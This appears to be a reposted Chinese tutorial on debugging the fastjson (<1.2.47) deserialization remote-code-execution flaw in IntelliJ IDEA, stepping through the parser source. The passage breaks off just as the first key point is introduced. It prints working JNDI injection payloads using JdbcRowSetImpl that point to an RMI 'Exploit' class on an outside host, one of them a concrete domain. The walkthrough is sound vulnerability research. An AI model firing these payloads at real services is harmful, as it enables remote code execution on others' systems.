IDEA debug漏洞第二彈(fastjson，version<1.2.47)(修正）

本文轉載自查看原文 2019-11-07 17:14 548 JAVA

首先這個漏洞調試不需要非要使用docker，本身是一個jar包的問題。所以我們可以自己寫一個小java代碼來直接調試。

POC如下

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" rmi://xxxxx/Exploit","autoCommit":true}}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {

    public static void main(String[] args)
    {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxxxx/Exploit\"}}";
        String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
        JSON.parse(payload2);
    }
}

java代碼如上，下載fastjson-1.2.44.jar放到對應lib目錄下，並把lib目錄加入到libraries上。

在JSON.parse(payload);下斷點，調試。

    public static Object parse(String text, int features) {
        return parse(text, ParserConfig.getGlobalInstance(), features);
    }

在這塊，我個人認為ParserConfig.getGlobalInstance()主要是獲取整個代碼調用fastjson的時候的設置的環境變量，也就是說，如果在代碼塊未對一些配置參數更改，那這塊獲取的配置就是默認的配置環境

環境可以理解為，就是一些參數值是true還是false。

我們可以看到，autoTypeSupport是false的，

在一些POC里，我們也搜到了一些fastjson rce漏洞觸發的條件之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

    public static Object parse(String text, ParserConfig config, int features) {
        if (text == null) {
            return null;
        }

        DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

來到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);

text就是傳入的poc，config就是之前的全局環境配置。我們假設我們不知道哪里觸發的，於是我們就要跟入一下new DefaultJSONParser這個實例化操作。

    public DefaultJSONParser(final String input, final ParserConfig config, int features){
        this(input, new JSONScanner(input, features), config);
    }

到這塊，繼續深入。可以通過查看dnslog，發現還沒收到請求，說明還沒觸發漏洞。

第一個關鍵點

com/alibaba/fastjson/util/TypeUtils.java